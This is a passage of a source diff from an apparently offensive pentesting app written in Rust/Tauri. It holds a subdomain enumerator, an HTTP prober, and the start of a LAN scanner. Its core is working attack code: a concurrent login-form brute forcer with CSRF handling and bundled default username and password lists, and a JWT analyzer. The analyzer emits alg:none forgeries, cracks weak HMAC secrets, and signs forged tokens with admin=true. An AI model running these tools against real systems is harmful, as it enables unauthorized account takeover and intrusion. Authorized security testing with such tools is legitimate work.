for cap in re.captures_iter(&html) {
if let Some(m) = cap.get(1) {
if let Some(h) = clean_host(m.as_str(), tld) { out.push(h); }
}
}
Ok(out)
}
// ---- source: hackertarget (50 queries/day per IP, no key) ----
async fn src_hackertarget(
client: &reqwest::Client, tld: &str, keyword: Option<&str>,
) -> anyhow::Result<Vec<String>> {
let domain = match keyword {
Some(k) if !k.is_empty() => format!("{k}.{tld}"),
_ => anyhow::bail!("hackertarget needs a keyword (e.g. 'gov' + 'id' → 'gov.id'); TLD-only not supported"),
};
let url = format!("https://api.hackertarget.com/hostsearch/?q={}", domain);
let body = fetch_with_retry(client, &url, &[], 2).await?;
if body.contains("API count exceeded") || body.contains("error check your search") {
anyhow::bail!("rate limited (50/day/IP exhausted)");
}
let mut out = Vec::new();
for line in body.lines() {
if let Some((host, _)) = line.split_once(',') {
if let Some(h) = clean_host(host, tld) { out.push(h); }
}
}
Ok(out)
}
// ---- source: wordlist DNS brute + HTTP alive check ----
//
// For each word generates multiple candidate patterns, then two-stage verify:
// 1. DNS resolve (fast-fail if NXDOMAIN)
// 2. HTTP GET https:// or http:// — must respond with status 200-599
// (treating ANY HTTP response as alive proof, even 4xx/5xx)
//
// Kills false positives from parking pages / wildcard DNS domains that
// resolve but serve nothing.
async fn src_wordlist(
tld: &str, keyword: Option<&str>, words: &[String], concurrency: usize,
app: &AppHandle, source_name: &str,
) -> anyhow::Result<Vec<String>> {
// --- stage 0: build unique candidate set ---
let mut cand_set: HashSet<String> = HashSet::new();
for w in words {
let w = w.trim();
if w.is_empty() { continue; }
match keyword {
Some(k) if !k.is_empty() => {
cand_set.insert(format!("{w}.{k}.{tld}"));
cand_set.insert(format!("www.{w}.{k}.{tld}"));
cand_set.insert(format!("{w}-{k}.{tld}"));
cand_set.insert(format!("{k}-{w}.{tld}"));
}
_ => {
cand_set.insert(format!("{w}.{tld}"));
cand_set.insert(format!("www.{w}.{tld}"));
}
}
}
let candidates: Vec<String> = cand_set.into_iter().collect();
let total = candidates.len();
let _ = app.emit("grab:status",
format!("[{source_name}] {total} patterns to brute (dns + http check)"));
// --- shared resolver + http client ---
let mut opts = ResolverOpts::default();
opts.timeout = Duration::from_millis(1500);
opts.attempts = 1;
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts));
let http = Arc::new(
reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(2500))
.redirect(reqwest::redirect::Policy::none())
.user_agent("Mozilla/5.0 (PocketPentester-DomainGrabber)")
.build()
.map_err(|e| anyhow::anyhow!("http client: {e}"))?,
);
let sem = Arc::new(Semaphore::new(concurrency.max(1)));
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let src_name = source_name.to_string();
let resolved: Vec<String> = stream::iter(candidates.into_iter())
.map(|host| {
let resolver = resolver.clone();
let http = http.clone();
let sem = sem.clone();
let done = done.clone();
let app = app.clone();
let src_name = src_name.clone();
async move {
let _permit = sem.acquire().await.unwrap();
// stage 1: DNS — fast fail
let dns_ok = resolver.lookup_ip(host.as_str()).await.is_ok();
let host_out = if dns_ok {
// stage 2: HTTP alive — try https then http
let mut alive = false;
for scheme in ["https", "http"] {
let url = format!("{scheme}://{host}");
if let Ok(resp) = http.get(&url).send().await {
let s = resp.status().as_u16();
if (200..600).contains(&s) { alive = true; break; }
}
}
if alive { Some(host) } else { None }
} else { None };
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
if n % 100 == 0 || n == total {
let _ = app.emit("grab:wl-progress",
serde_json::json!({ "source": src_name, "done": n, "total": total }));
}
host_out
}
})
.buffer_unordered(concurrency.max(1))
.filter_map(|x| async move { x })
.collect()
.await;
Ok(resolved)
}
// ---- source: certspotter (fallback — CT log, very reliable) ----
async fn src_certspotter(
client: &reqwest::Client, tld: &str, keyword: Option<&str>,
) -> anyhow::Result<Vec<String>> {
// certspotter doesn't support TLD wildcard natively, but we can query a
// well-known keyword+TLD (e.g. "gov.id") to pull all matching certs.
let domain = match keyword {
Some(k) if !k.is_empty() => format!("{k}.{tld}"),
_ => anyhow::bail!("certspotter needs a keyword (e.g. gov, bank) — tld-only not supported"),
};
let url = format!("https://api.certspotter.com/v1/issuances?domain={}&include_subdomains=true&expand=dns_names", domain);
let body = fetch_with_retry(client, &url, &[], 2).await?;
let val: serde_json::Value = serde_json::from_str(&body)?;
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
let mut out = Vec::new();
for r in arr {
if let Some(names) = r.get("dns_names").and_then(|v| v.as_array()) {
for n in names {
if let Some(s) = n.as_str() {
if let Some(h) = clean_host(s, tld) { out.push(h); }
}
}
}
}
Ok(out)
}
// ------------------------------------------------------------------
// Orchestrator
// ------------------------------------------------------------------
#[tauri::command]
pub async fn domain_grab(app: AppHandle, req: GrabRequest) -> Result<Vec<GrabHit>, String> {
let tld = normalize_tld(&req.tld);
if tld.is_empty() { return Err("empty tld".into()); }
let client = reqwest::Client::builder()
.timeout(Duration::from_millis(req.timeout_ms))
.user_agent("Mozilla/5.0 (PocketPentester-DomainGrabber)")
.build()
.map_err(|e| e.to_string())?;
let _ = app.emit("grab:status",
format!("grabbing .{tld}{} from {} source(s)",
req.keyword.as_deref().map(|k| format!(" /keyword={k}")).unwrap_or_default(),
req.sources.len()));
let seen: Arc<tokio::sync::Mutex<HashSet<String>>> = Arc::new(tokio::sync::Mutex::new(HashSet::new()));
let mut all: Vec<GrabHit> = Vec::new();
let results = futures::future::join_all(req.sources.iter().map(|name| {
let client = client.clone();
let tld = tld.clone();
let keyword = req.keyword.clone();
let name = name.clone();
let app = app.clone();
let max = req.max_per_source;
let wl_conc = req.wordlist_concurrency;
async move {
let started = std::time::Instant::now();
let res = match name.as_str() {
"crtsh" => src_crtsh(&client, &tld, keyword.as_deref()).await,
"commoncrawl" => src_commoncrawl(&client, &tld, keyword.as_deref(), max).await,
"rapiddns" => src_rapiddns(&client, &tld, keyword.as_deref()).await,
"hackertarget" => src_hackertarget(&client, &tld, keyword.as_deref()).await,
"certspotter" => src_certspotter(&client, &tld, keyword.as_deref()).await,
"wordlist-id" => src_wordlist(&tld, keyword.as_deref(), &WL_KOMPAS, wl_conc, &app, &name).await,
"wordlist-id-full" => src_wordlist(&tld, keyword.as_deref(), &WL_KBBI, wl_conc, &app, &name).await,
"wordlist-en" => src_wordlist(&tld, keyword.as_deref(), &WL_EN_COMMON, wl_conc, &app, &name).await,
"wordlist-subs" => src_wordlist(&tld, keyword.as_deref(), &WL_SUBS, wl_conc, &app, &name).await,
other => Err(anyhow::anyhow!("unknown source: {other}")),
};
let took = started.elapsed().as_millis();
let stat = match &res {
Ok(list) => SourceStat { source: name.clone(), count: list.len(), error: None, took_ms: took },
Err(e) => SourceStat { source: name.clone(), count: 0, error: Some(e.to_string()), took_ms: took },
};
let _ = app.emit("grab:source", stat);
(name, res)
}
})).await;
for (name, res) in results {
if let Ok(list) = res {
let mut added = 0usize;
for host in list.into_iter().take(req.max_per_source * 4) {
let key = if req.apex_only { apex_of(&host, &tld) } else { host.clone() };
let mut guard = seen.lock().await;
if guard.insert(key.clone()) {
drop(guard);
let hit = GrabHit { domain: key, source: name.clone() };
let _ = app.emit("grab:hit", hit.clone());
all.push(hit);
added += 1;
if added >= req.max_per_source { break; }
}
}
}
}
let _ = app.emit("grab:done", all.len());
Ok(all)
}

View File

@@ -0,0 +1,335 @@
// ===================================================================
// Form Bruter — POST/GET login bruteforce with regex success/fail detection.
//
// Body template supports {USER} and {PASS} placeholders.
// Also supports {CSRF} — auto-extracted from a "priming" GET request.
//
// Success detection (in order, first matching rule wins):
// 1. success_regex — regex matching response body
// 2. fail_regex — regex matching response body (miss = hit)
// 3. success_status — status code matches (e.g. 302)
// 4. content-length delta threshold
// ===================================================================
use std::collections::HashMap;
use std::sync::Arc;
use std::time::{Duration, Instant};
use futures::stream::{self, StreamExt};
use regex::Regex;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
#[derive(Debug, Clone, Deserialize)]
pub struct FormBruteRequest {
pub url: String,
#[serde(default = "default_method")]
pub method: String,
/// Body template (or query if method=GET). Ex: `user={USER}&pass={PASS}`
pub body_template: String,
#[serde(default)]
pub headers: HashMap<String, String>,
pub users: Vec<String>,
pub passwords: Vec<String>,
/// Attack mode: "clusterbomb" (cart. product, default) or "pitchfork" (lockstep pairs).
#[serde(default = "default_mode")]
pub mode: String,
/// Prime URL — optional GET first to pick up cookies / CSRF token.
#[serde(default)]
pub prime_url: Option<String>,
/// Regex to extract CSRF token from priming response. Use capture group 1.
#[serde(default)]
pub csrf_regex: Option<String>,
#[allow(dead_code)]
#[serde(default = "default_csrf_field")]
pub csrf_field: String, // placeholder name in body template, default {CSRF}
/// Success / failure detection (any match hits).
#[serde(default)]
pub success_regex: Option<String>,
#[serde(default)]
pub fail_regex: Option<String>,
#[serde(default)]
pub success_status: Option<Vec<u16>>,
/// If set, any response with body length outside baseline ± this delta is treated as success.
#[serde(default)]
pub size_delta_threshold: Option<i64>,
pub concurrency: usize,
pub timeout_ms: u64,
#[serde(default)]
pub follow_redirects: bool,
#[serde(default)]
pub stop_on_first: bool,
}
fn default_method() -> String { "POST".into() }
fn default_mode() -> String { "clusterbomb".into() }
fn default_csrf_field() -> String { "{CSRF}".into() }
#[derive(Debug, Clone, Serialize)]
pub struct FormBruteHit {
pub user: String,
pub pass: String,
pub status: u16,
pub size: u64,
pub redirect: Option<String>,
pub reason: String,
pub time_ms: u128,
}
fn urlencode(s: &str) -> String {
use std::fmt::Write;
let mut out = String::new();
for b in s.as_bytes() {
match *b {
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => out.push(*b as char),
_ => { let _ = write!(out, "%{:02X}", b); }
}
}
out
}
fn substitute(template: &str, user: &str, pass: &str, csrf: &str) -> String {
template
.replace("{USER}", &urlencode(user))
.replace("{PASS}", &urlencode(pass))
.replace("{CSRF}", &urlencode(csrf))
.replace("{USER_RAW}", user)
.replace("{PASS_RAW}", pass)
}
#[tauri::command]
pub async fn form_brute_run(app: AppHandle, req: FormBruteRequest) -> Result<Vec<FormBruteHit>, String> {
let client = reqwest::ClientBuilder::new()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects {
reqwest::redirect::Policy::limited(5)
} else {
reqwest::redirect::Policy::none()
})
.cookie_store(true)
.user_agent("Mozilla/5.0 (PocketPentester-FormBrute)")
.build()
.map_err(|e| e.to_string())?;
// ---- priming: GET + CSRF extraction ----
let mut csrf_val = String::new();
if let Some(pu) = &req.prime_url {
let _ = app.emit("brute:status", format!("priming {pu}"));
match client.get(pu).send().await {
Ok(resp) => {
let body = resp.text().await.unwrap_or_default();
if let Some(pattern) = &req.csrf_regex {
if let Ok(re) = Regex::new(pattern) {
if let Some(cap) = re.captures(&body) {
if let Some(m) = cap.get(1).or_else(|| cap.get(0)) {
csrf_val = m.as_str().to_string();
let _ = app.emit("brute:status", format!("csrf token extracted ({} chars)", csrf_val.len()));
}
}
}
}
if csrf_val.is_empty() && req.csrf_regex.is_some() {
let _ = app.emit("brute:status", "csrf regex did not match priming response");
}
}
Err(e) => { let _ = app.emit("brute:status", format!("prime failed: {e}")); }
}
}
// ---- baseline: 1 request with dummy creds to learn the "failure" size ----
let baseline_body = substitute(&req.body_template, "baseline_xxxxxxxx", "baseline_yyyyyy", &csrf_val);
let baseline_size: Option<i64> = {
let mut b = client.request(
reqwest::Method::from_bytes(req.method.as_bytes()).unwrap_or(reqwest::Method::POST),
&req.url,
);
for (k, v) in &req.headers { b = b.header(k, v); }
if req.method.to_uppercase() == "GET" {
b = b.query(&parse_kv(&baseline_body));
} else {
b = b.header("Content-Type", "application/x-www-form-urlencoded").body(baseline_body);
}
match b.send().await {
Ok(r) => {
let txt = r.text().await.unwrap_or_default();
Some(txt.len() as i64)
}
Err(_) => None,
}
};
if let Some(bs) = baseline_size {
let _ = app.emit("brute:status", format!("baseline fail response: {bs} bytes"));
}
// ---- build pairs ----
let pairs: Vec<(String, String)> = match req.mode.as_str() {
"pitchfork" => {
let n = req.users.len().min(req.passwords.len());
(0..n).map(|i| (req.users[i].clone(), req.passwords[i].clone())).collect()
}
_ => {
let mut out = Vec::with_capacity(req.users.len() * req.passwords.len());
for u in &req.users {
for p in &req.passwords {
out.push((u.clone(), p.clone()));
}
}
out
}
};
let total = pairs.len();
let _ = app.emit("brute:status", format!("attempting {total} combinations ({})", req.mode));
// ---- compile regexes once ----
let succ_re = req.success_regex.as_ref().and_then(|p| Regex::new(p).ok());
let fail_re = req.fail_regex.as_ref().and_then(|p| Regex::new(p).ok());
let succ_status: std::collections::HashSet<u16> = req.success_status.clone().unwrap_or_default().into_iter().collect();
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let stop = Arc::new(std::sync::atomic::AtomicBool::new(false));
let client = Arc::new(client);
let csrf = csrf_val;
let method = reqwest::Method::from_bytes(req.method.to_uppercase().as_bytes())
.map_err(|e| format!("bad method: {e}"))?;
let hits: Vec<FormBruteHit> = stream::iter(pairs.into_iter())
.map(|(user, pass)| {
let client = client.clone();
let sem = sem.clone();
let done = done.clone();
let stop = stop.clone();
let app = app.clone();
let url = req.url.clone();
let headers = req.headers.clone();
let template = req.body_template.clone();
let method = method.clone();
let succ_re = succ_re.clone();
let fail_re = fail_re.clone();
let succ_status = succ_status.clone();
let size_delta = req.size_delta_threshold;
let csrf = csrf.clone();
let stop_first = req.stop_on_first;
async move {
if stop.load(std::sync::atomic::Ordering::Relaxed) { return None; }
let _permit = sem.acquire().await.unwrap();
if stop.load(std::sync::atomic::Ordering::Relaxed) { return None; }
let body = substitute(&template, &user, &pass, &csrf);
let start = Instant::now();
let mut builder = client.request(method.clone(), &url);
for (k, v) in &headers { builder = builder.header(k, v); }
if method == reqwest::Method::GET {
builder = builder.query(&parse_kv(&body));
} else {
builder = builder.header("Content-Type", "application/x-www-form-urlencoded").body(body);
}
let resp = match builder.send().await {
Ok(r) => r,
Err(_) => {
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("brute:progress", serde_json::json!({"done": n, "total": total}));
return None;
}
};
let status = resp.status().as_u16();
let redirect = resp.headers().get("location")
.and_then(|v| v.to_str().ok()).map(String::from);
let body_text = resp.text().await.unwrap_or_default();
let size = body_text.len() as u64;
let time_ms = start.elapsed().as_millis();
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("brute:progress", serde_json::json!({"done": n, "total": total}));
// detect success
let mut reason = String::new();
let mut matched = false;
if let Some(re) = &succ_re {
if re.is_match(&body_text) { matched = true; reason = "success_regex matched".into(); }
}
if !matched {
if let Some(re) = &fail_re {
if !re.is_match(&body_text) { matched = true; reason = "fail_regex did NOT match".into(); }
}
}
if !matched && !succ_status.is_empty() && succ_status.contains(&status) {
matched = true; reason = format!("success_status matched ({status})");
}
if !matched {
if let (Some(delta), Some(bs)) = (size_delta, baseline_size) {
if (size as i64 - bs).abs() > delta {
matched = true;
reason = format!("size delta {} > {} (baseline {bs} vs {size})",
(size as i64 - bs).abs(), delta);
}
}
}
if matched {
let hit = FormBruteHit { user, pass, status, size, redirect, reason, time_ms };
let _ = app.emit("brute:hit", hit.clone());
if stop_first { stop.store(true, std::sync::atomic::Ordering::Relaxed); }
Some(hit)
} else {
None
}
}
})
.buffer_unordered(req.concurrency.max(1))
.filter_map(|x| async move { x })
.collect()
.await;
let _ = app.emit("brute:done", hits.len());
Ok(hits)
}
fn parse_kv(s: &str) -> Vec<(String, String)> {
s.split('&').filter_map(|p| {
let (k, v) = p.split_once('=')?;
Some((k.to_string(), v.to_string()))
}).collect()
}
#[tauri::command]
pub fn form_brute_common_users() -> Vec<&'static str> {
vec![
"admin", "administrator", "root", "user", "test", "guest",
"superadmin", "sysadmin", "operator", "supervisor", "manager",
"support", "webmaster", "backup", "dev", "developer",
"info", "info@", "contact", "sales", "moderator",
"admin1", "admin2", "administrator1",
"pentest", "oscp", "offsec",
// common emails
"admin@example.com", "test@test.com",
]
}
#[tauri::command]
pub fn form_brute_common_passwords() -> Vec<&'static str> {
vec![
"admin", "admin123", "administrator", "password", "password123", "pass123",
"12345", "123456", "1234567", "12345678", "123456789", "1234567890",
"qwerty", "qwerty123", "abc123", "111111", "000000", "letmein",
"welcome", "welcome1", "welcome123", "changeme", "changeme123",
"root", "toor", "pass", "test", "demo", "guest",
"default", "admin@123", "P@ssw0rd", "Password1", "P@ssword1",
"iloveyou", "monkey", "dragon", "master", "football", "baseball",
"Summer2023", "Summer2024", "Winter2024", "Autumn2024",
"company123", "corp123", "Company2024",
"admin2024", "password2024", "admin2023", "password2023",
]
}

View File

@@ -0,0 +1,147 @@
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use once_cell::sync::Lazy;
use regex::Regex;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
#[derive(Debug, Clone, Deserialize)]
pub struct HttpProbeRequest {
pub targets: Vec<String>,
pub ports: Option<Vec<u16>>,
pub concurrency: usize,
pub timeout_ms: u64,
pub follow_redirects: bool,
}
#[derive(Debug, Clone, Serialize)]
pub struct HttpProbeResult {
pub url: String,
pub status: u16,
pub title: Option<String>,
pub server: Option<String>,
pub content_length: Option<u64>,
pub tech: Vec<String>,
}
static TITLE_RE: Lazy<Regex> =
Lazy::new(|| Regex::new(r"(?is)<title[^>]*>(.*?)</title>").unwrap());
fn detect_tech(headers: &reqwest::header::HeaderMap, body: &str) -> Vec<String> {
let mut tech = Vec::new();
let get = |k: &str| headers.get(k).and_then(|v| v.to_str().ok()).unwrap_or("");
let server = get("server").to_lowercase();
let powered = get("x-powered-by").to_lowercase();
if server.contains("nginx") { tech.push("nginx".into()); }
if server.contains("apache") { tech.push("apache".into()); }
if server.contains("cloudflare") { tech.push("cloudflare".into()); }
if server.contains("iis") { tech.push("iis".into()); }
if powered.contains("php") { tech.push("php".into()); }
if powered.contains("express") { tech.push("express".into()); }
if powered.contains("asp.net") { tech.push("asp.net".into()); }
let b = body.to_lowercase();
if b.contains("wp-content") || b.contains("wp-includes") { tech.push("wordpress".into()); }
if b.contains("drupal-settings-json") { tech.push("drupal".into()); }
if b.contains("joomla") { tech.push("joomla".into()); }
if b.contains("__next_data__") { tech.push("next.js".into()); }
if b.contains("data-reactroot") || b.contains("__reactcontainer") { tech.push("react".into()); }
if b.contains("ng-version") { tech.push("angular".into()); }
if b.contains("window.laravel") || b.contains("laravel_session") { tech.push("laravel".into()); }
tech
}
async fn probe_one(client: &reqwest::Client, url: String) -> Option<HttpProbeResult> {
let resp = client.get(&url).send().await.ok()?;
let status = resp.status().as_u16();
let headers = resp.headers().clone();
let content_length = resp.content_length();
let server = headers
.get("server")
.and_then(|v| v.to_str().ok())
.map(String::from);
let body = resp.text().await.unwrap_or_default();
let title = TITLE_RE
.captures(&body)
.and_then(|c| c.get(1))
.map(|m| m.as_str().trim().to_string())
.filter(|s| !s.is_empty());
let tech = detect_tech(&headers, &body);
Some(HttpProbeResult { url, status, title, server, content_length, tech })
}
#[tauri::command]
pub async fn http_probe(
app: AppHandle,
req: HttpProbeRequest,
) -> Result<Vec<HttpProbeResult>, String> {
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects {
reqwest::redirect::Policy::limited(5)
} else {
reqwest::redirect::Policy::none()
})
.user_agent("Mozilla/5.0 (PocketPentester)")
.build()
.map_err(|e| e.to_string())?;
let ports = req.ports.unwrap_or_else(|| vec![80, 443, 8080, 8443]);
let mut urls: Vec<String> = Vec::new();
for t in &req.targets {
let t = t.trim();
if t.starts_with("http://") || t.starts_with("https://") {
urls.push(t.to_string());
continue;
}
for p in &ports {
let scheme = if matches!(p, 443 | 8443) { "https" } else { "http" };
if *p == 80 || *p == 443 {
urls.push(format!("{scheme}://{t}"));
} else {
urls.push(format!("{scheme}://{t}:{p}"));
}
}
}
let total = urls.len();
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let client = Arc::new(client);
let results: Vec<HttpProbeResult> = stream::iter(urls.into_iter())
.map(|url| {
let sem = sem.clone();
let done = done.clone();
let client = client.clone();
let app = app.clone();
async move {
let _permit = sem.acquire().await.unwrap();
let res = probe_one(&client, url).await;
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("httpx:progress", serde_json::json!({"done": n, "total": total}));
if let Some(ref r) = res {
let _ = app.emit("httpx:hit", r.clone());
}
res
}
})
.buffer_unordered(req.concurrency.max(1))
.filter_map(|x| async move { x })
.collect()
.await;
let _ = app.emit("httpx:done", results.len());
Ok(results)
}

View File

@@ -0,0 +1,257 @@
use base64::engine::general_purpose::URL_SAFE_NO_PAD;
use base64::Engine;
use hmac::{Hmac, Mac};
use serde::{Deserialize, Serialize};
use sha2::{Sha256, Sha384, Sha512};
use tauri::{AppHandle, Emitter};
type HmacSha256 = Hmac<Sha256>;
type HmacSha384 = Hmac<Sha384>;
type HmacSha512 = Hmac<Sha512>;
#[derive(Debug, Clone, Serialize)]
pub struct JwtDecoded {
pub header: serde_json::Value,
pub payload: serde_json::Value,
pub signature_b64: String,
pub alg: String,
pub issues: Vec<JwtIssue>,
pub forgeries: Vec<JwtForgery>,
}
#[derive(Debug, Clone, Serialize)]
pub struct JwtIssue {
pub severity: String,
pub title: String,
pub detail: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct JwtForgery {
pub attack: String,
pub description: String,
pub token: String,
}
fn b64_decode(s: &str) -> Option<Vec<u8>> {
URL_SAFE_NO_PAD.decode(s).ok()
}
fn b64_encode(b: &[u8]) -> String {
URL_SAFE_NO_PAD.encode(b)
}
fn parse(token: &str) -> Result<(serde_json::Value, serde_json::Value, String, String, String), String> {
let parts: Vec<&str> = token.split('.').collect();
if parts.len() != 3 {
return Err("not a valid JWT (expected 3 parts)".into());
}
let h_bytes = b64_decode(parts[0]).ok_or("bad base64 header")?;
let p_bytes = b64_decode(parts[1]).ok_or("bad base64 payload")?;
let header: serde_json::Value =
serde_json::from_slice(&h_bytes).map_err(|e| format!("header json: {e}"))?;
let payload: serde_json::Value =
serde_json::from_slice(&p_bytes).map_err(|e| format!("payload json: {e}"))?;
Ok((
header,
payload,
parts[2].to_string(),
parts[0].to_string(),
parts[1].to_string(),
))
}
fn sign_hmac(key: &[u8], signing_input: &str, alg: &str) -> Option<Vec<u8>> {
match alg {
"HS256" => {
let mut mac = HmacSha256::new_from_slice(key).ok()?;
mac.update(signing_input.as_bytes());
Some(mac.finalize().into_bytes().to_vec())
}
"HS384" => {
let mut mac = HmacSha384::new_from_slice(key).ok()?;
mac.update(signing_input.as_bytes());
Some(mac.finalize().into_bytes().to_vec())
}
"HS512" => {
let mut mac = HmacSha512::new_from_slice(key).ok()?;
mac.update(signing_input.as_bytes());
Some(mac.finalize().into_bytes().to_vec())
}
_ => None,
}
}
const COMMON_SECRETS: &[&str] = &[
"secret", "password", "123456", "admin", "jwt", "jwt_secret", "jwtsecret",
"key", "your-256-bit-secret", "my_secret", "default", "test", "changeme",
"supersecret", "supersecretkey", "secretkey", "private", "MIIEvQIBA",
"hmac_secret", "token_secret", "api_secret", "auth_secret",
];
#[derive(Debug, Clone, Deserialize)]
pub struct JwtRequest {
pub token: String,
pub wordlist: Option<Vec<String>>,
}
#[tauri::command]
pub async fn jwt_analyze(app: AppHandle, req: JwtRequest) -> Result<JwtDecoded, String> {
let (header, payload, sig, h_b64, p_b64) = parse(req.token.trim())?;
let alg = header
.get("alg")
.and_then(|v| v.as_str())
.unwrap_or("?")
.to_string();
let mut issues: Vec<JwtIssue> = Vec::new();
let mut forgeries: Vec<JwtForgery> = Vec::new();
// ==== ISSUES ====
if alg.eq_ignore_ascii_case("none") {
issues.push(JwtIssue {
severity: "CRITICAL".into(),
title: "alg:none".into(),
detail: "server accepts unsigned tokens if this alg was negotiated".into(),
});
}
if alg.starts_with("HS") {
issues.push(JwtIssue {
severity: "INFO".into(),
title: "HMAC symmetric algorithm".into(),
detail: "if secret is weak or algorithm confusion (HS vs RS) possible, token is forgeable".into(),
});
}
if let Some(exp) = payload.get("exp").and_then(|v| v.as_i64()) {
let now = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_secs() as i64)
.unwrap_or(0);
if exp < now {
issues.push(JwtIssue {
severity: "INFO".into(),
title: "expired".into(),
detail: format!("exp={exp}, now={now}"),
});
}
} else {
issues.push(JwtIssue {
severity: "MEDIUM".into(),
title: "no exp claim".into(),
detail: "token does not expire — persistence risk".into(),
});
}
if header.get("kid").is_some() {
issues.push(JwtIssue {
severity: "MEDIUM".into(),
title: "kid present".into(),
detail: "test for kid SQLi/path-traversal injection (e.g. `kid=../../../../dev/null`)".into(),
});
}
if let Some(jku) = header.get("jku").and_then(|v| v.as_str()) {
issues.push(JwtIssue {
severity: "HIGH".into(),
title: "jku header".into(),
detail: format!("token fetches signing key from URL: {jku} — test host-header/SSRF bypass"),
});
}
if let Some(x5u) = header.get("x5u").and_then(|v| v.as_str()) {
issues.push(JwtIssue {
severity: "HIGH".into(),
title: "x5u header".into(),
detail: format!("token references cert at URL: {x5u} — test spoofing"),
});
}
// ==== FORGERIES ====
// 1. alg:none forgery
let none_header = serde_json::json!({ "alg": "none", "typ": "JWT" });
let none_header_b64 = b64_encode(serde_json::to_string(&none_header).unwrap().as_bytes());
let none_token = format!("{}.{}.", none_header_b64, p_b64);
forgeries.push(JwtForgery {
attack: "alg:none".into(),
description: "empty signature with alg=none header".into(),
token: none_token,
});
// 2. alg:NONE variant (case tricks)
for variant in &["None", "NONE", "nOnE"] {
let h = serde_json::json!({ "alg": variant, "typ": "JWT" });
let h_b64 = b64_encode(serde_json::to_string(&h).unwrap().as_bytes());
forgeries.push(JwtForgery {
attack: format!("alg:{variant}"),
description: "case-variation bypass for alg=none filters".into(),
token: format!("{}.{}.", h_b64, p_b64),
});
}
// 3. HMAC weak-secret bruteforce
if alg.starts_with("HS") {
let signing_input = format!("{}.{}", h_b64, p_b64);
let expected_sig = b64_decode(&sig).unwrap_or_default();
let wordlist: Vec<String> = req
.wordlist
.unwrap_or_default()
.into_iter()
.chain(COMMON_SECRETS.iter().map(|s| s.to_string()))
.collect();
let total = wordlist.len();
let _ = app.emit("jwt:status", format!("bruteforcing HMAC secret ({total} candidates)..."));
for (i, secret) in wordlist.iter().enumerate() {
if let Some(computed) = sign_hmac(secret.as_bytes(), &signing_input, &alg) {
if computed == expected_sig {
issues.push(JwtIssue {
severity: "CRITICAL".into(),
title: "weak HMAC secret".into(),
detail: format!("signing key recovered: \"{secret}\""),
});
// craft forged admin token
if let Some(mut forged_payload) = payload.as_object().cloned() {
forged_payload.insert("admin".into(), serde_json::json!(true));
forged_payload.insert("role".into(), serde_json::json!("admin"));
let forged_p_b64 = b64_encode(
serde_json::to_string(&forged_payload).unwrap().as_bytes(),
);
let forged_input = format!("{}.{}", h_b64, forged_p_b64);
if let Some(new_sig) = sign_hmac(secret.as_bytes(), &forged_input, &alg) {
forgeries.push(JwtForgery {
attack: format!("HMAC-forge ({secret})"),
description: "valid sig with admin=true / role=admin injected".into(),
token: format!("{}.{}", forged_input, b64_encode(&new_sig)),
});
}
}
break;
}
}
if i % 50 == 0 {
let _ = app.emit("jwt:progress", serde_json::json!({"done": i, "total": total}));
}
}
let _ = app.emit("jwt:progress", serde_json::json!({"done": total, "total": total}));
}
let _ = app.emit("jwt:done", serde_json::json!({"issues": issues.len(), "forgeries": forgeries.len()}));
Ok(JwtDecoded {
header,
payload,
signature_b64: sig,
alg,
issues,
forgeries,
})
}

View File

@@ -0,0 +1,480 @@
// ===================================================================
// LAN Map — discover devices on the connected local network.
//
// Pure Rust, works on Android without root. Combines:
// 1. TCP sweep on common ports across the /24 subnet
// 2. mDNS service discovery (UDP 5353 multicast)
// 3. SSDP/UPnP M-SEARCH (UDP 1900 multicast)
//
// NOTE on Android: multicast (mDNS/SSDP) requires WifiManager
// MulticastLock to be held by the host app. Without it, the OS
// drops multicast traffic in power-save. TCP sweep always works.
//
// TODO(plugin): Tauri Android plugin to acquire MulticastLock so
// mDNS/SSDP returns reliable results on phone.
// TODO(oui): bundle a curated OUI prefix DB for vendor lookup.
// ===================================================================
use std::collections::HashMap;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::net::{TcpStream, UdpSocket};
use tokio::sync::Mutex;
use tokio::time::timeout;
#[derive(Debug, Clone, Deserialize)]
pub struct LanScanRequest {
pub subnet_cidr: Option<String>, // e.g. "192.168.1.0/24" — autodetect if None
pub ports: Option<Vec<u16>>, // ports to TCP-probe per host
pub probe_mdns: bool,
pub probe_ssdp: bool,
pub concurrency: usize,
pub timeout_ms: u64,
}
#[derive(Debug, Clone, Serialize, Default)]
pub struct LanDevice {
pub ip: String,
pub hostname: Option<String>,
pub open_ports: Vec<u16>,
pub services: Vec<String>, // mDNS PTR services
pub upnp: Vec<String>, // SSDP server / device descriptions
pub guess: Option<String>, // best-effort device type guess
}
#[derive(Debug, Clone, Serialize)]
pub struct LanScanReport {
pub local_ip: String,
pub subnet: String,
pub devices: Vec<LanDevice>,
}
const DEFAULT_PORTS: &[u16] = &[
